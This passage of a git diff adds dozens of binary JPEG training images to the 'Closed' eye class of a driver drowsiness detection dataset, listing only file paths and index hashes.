Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_233.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_233.jpg new file mode 100644 index 00000000..025fb65a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_233.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_234.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_234.jpg new file mode 100644 index 00000000..dffe45e7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_234.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_235.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_235.jpg new file mode 100644 index 00000000..a01cc212 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_235.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_236.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_236.jpg new file mode 100644 index 00000000..6e2d698f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_236.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_237.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_237.jpg new file mode 100644 index 00000000..6d513543 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_237.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_238.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_238.jpg new file mode 100644 index 00000000..f27671f0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_238.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_239.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_239.jpg new file mode 100644 index 00000000..cfabf890 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_239.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_24.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_24.jpg new file mode 100644 index 00000000..4a22686e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_24.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_241.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_241.jpg new file mode 100644 index 00000000..f7e49d0f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_241.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_244.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_244.jpg new file mode 100644 index 00000000..79765355 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_244.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_245.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_245.jpg new file mode 100644 index 00000000..ee8e8264 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_245.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_246.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_246.jpg new file mode 100644 index 00000000..588690fd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_246.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_247.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_247.jpg new file mode 100644 index 00000000..c5c971a3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_247.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_248.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_248.jpg new file mode 100644 index 00000000..c59f8717 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_248.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_249.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_249.jpg new file mode 100644 index 00000000..42cc6070 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_249.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_25.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_25.jpg new file mode 100644 index 00000000..10055b61 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_25.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_250.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_250.jpg new file mode 100644 index 00000000..6f5aed32 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_250.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_251.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_251.jpg new file mode 100644 index 00000000..075c0ffc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_251.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_252.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_252.jpg new file mode 100644 index 00000000..3e135fad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_252.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_254.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_254.jpg new file mode 100644 index 00000000..6e66a46b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_254.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_255.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_255.jpg new file mode 100644 index 00000000..edc71d93 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_255.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_256.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_256.jpg new file mode 100644 index 00000000..7507ff42 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_256.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_258.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_258.jpg new file mode 100644 index 00000000..771a42a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_258.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_259.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_259.jpg new file mode 100644 index 00000000..ef8d7ddd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_259.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_261.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_261.jpg new file mode 100644 index 00000000..9052019e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_261.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_262.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_262.jpg new file mode 100644 index 00000000..1fd1ce14 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_262.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_263.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_263.jpg new file mode 100644 index 00000000..5d109820 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_263.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_264.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_264.jpg new file mode 100644 index 00000000..09839588 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_264.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_265.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_265.jpg new file mode 100644 index 00000000..5d8efc11 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_265.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_266.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_266.jpg new file mode 100644 index 00000000..9f8fb791 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_266.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_267.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_267.jpg new file mode 100644 index 00000000..4f139dfb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_267.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_268.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_268.jpg new file mode 100644 index 00000000..37df68c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_268.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_269.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_269.jpg new file mode 100644 index 00000000..3cf18b9a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_269.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_27.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_27.jpg new file mode 100644 index 00000000..ee60948a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_27.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_270.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_270.jpg new file mode 100644 index 00000000..5096a6cb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_270.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_271.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_271.jpg new file mode 100644 index 00000000..ecee5512 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_271.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_272.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_272.jpg new file mode 100644 index 00000000..e4661773 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_272.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_273.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_273.jpg new file mode 100644 index 00000000..b22d43f8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_273.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_274.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_274.jpg new file mode 100644 index 00000000..45ca6d19 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_274.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_275.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_275.jpg new file mode 100644 index 00000000..6161990b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_275.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_276.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_276.jpg new file mode 100644 index 00000000..9fe6b7f5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_276.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_277.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_277.jpg new file mode 100644 index 00000000..4fcc4d82 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_277.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_278.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_278.jpg new file mode 100644 index 00000000..4346f5d3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_278.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_280.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_280.jpg new file mode 100644 index 00000000..65586c32 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_280.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_281.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_281.jpg new file mode 100644 index 00000000..0b2407e6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_281.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_282.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_282.jpg new file mode 100644 index 00000000..46fa7e2c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_282.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_283.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_283.jpg new file mode 100644 index 00000000..069f2c04 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_283.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_285.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_285.jpg new file mode 100644 index 00000000..203c121e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_285.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_286.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_286.jpg new file mode 100644 index 00000000..b14ececc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_286.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_288.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_288.jpg new file mode 100644 index 00000000..e2b8df5d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_288.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_289.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_289.jpg new file mode 100644 index 00000000..503d2952 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_289.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_29.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_29.jpg new file mode 100644 index 00000000..95711bce Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_29.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_290.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_290.jpg new file mode 100644 index 00000000..acae12b0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_290.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_291.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_291.jpg new file mode 100644 index 00000000..91ba61f9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_291.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_292.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_292.jpg new file mode 100644 index 00000000..85585437 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_292.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_293.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_293.jpg new file mode 100644 index 00000000..fd2cc623 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_293.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_294.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_294.jpg new file mode 100644 index 00000000..10346c31 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_294.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_295.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_295.jpg new file mode 100644 index 00000000..9b45a10d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_295.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_296.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_296.jpg new file mode 100644 index 00000000..a0a82815 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_296.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_297.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_297.jpg new file mode 100644 index 00000000..9c920c7d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_297.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_299.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_299.jpg new file mode 100644 index 00000000..0df31358 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_299.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_30.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_30.jpg new file mode 100644 index 00000000..f1dd9cda Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_30.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_300.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_300.jpg new file mode 100644 index 00000000..a2d27e98 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_300.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_301.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_301.jpg new file mode 100644 index 00000000..4ab6b694 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_301.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_303.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_303.jpg new file mode 100644 index 00000000..f5d12f4d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_303.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_304.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_304.jpg new file mode 100644 index 00000000..54118b67 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_304.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_305.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_305.jpg new file mode 100644 index 00000000..a5a54caa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_305.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_306.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_306.jpg new file mode 100644 index 00000000..74015896 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_306.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_307.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_307.jpg new file mode 100644 index 00000000..45299083 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_307.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_308.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_308.jpg new file mode 100644 index 00000000..370a7aa7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_308.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_309.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_309.jpg new file mode 100644 index 00000000..848e355d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_309.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_310.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_310.jpg new file mode 100644 index 00000000..279eb7de Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_310.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_311.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_311.jpg new file mode 100644 index 00000000..3dd2e150 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_311.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_312.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_312.jpg new file mode 100644 index 00000000..0c855e65 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_312.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_313.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_313.jpg new file mode 100644 index 00000000..836a9047 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_313.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_314.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_314.jpg new file mode 100644 index 00000000..be313822 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_314.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_315.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_315.jpg new file mode 100644 index 00000000..d846fd9c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_315.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_316.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_316.jpg new file mode 100644 index 00000000..60d558bb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_316.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_317.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_317.jpg new file mode 100644 index 00000000..c8c25be5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_317.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_318.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_318.jpg new file mode 100644 index 00000000..e6e28528 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_318.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_319.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_319.jpg new file mode 100644 index 00000000..b1b2637f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_319.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_320.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_320.jpg new file mode 100644 index 00000000..d9c75ed6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_320.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_321.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_321.jpg new file mode 100644 index 00000000..b22e7216 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_321.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_322.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_322.jpg new file mode 100644 index 00000000..fc2d4919 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_322.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_323.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_323.jpg new file mode 100644 index 00000000..7c5d6ed8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_323.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_324.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_324.jpg new file mode 100644 index 00000000..fe3432c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_324.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_325.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_325.jpg new file mode 100644 index 00000000..2475a49b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_325.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_327.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_327.jpg new file mode 100644 index 00000000..c29ed1b2 Binary files /dev/null and b/MachineLearning 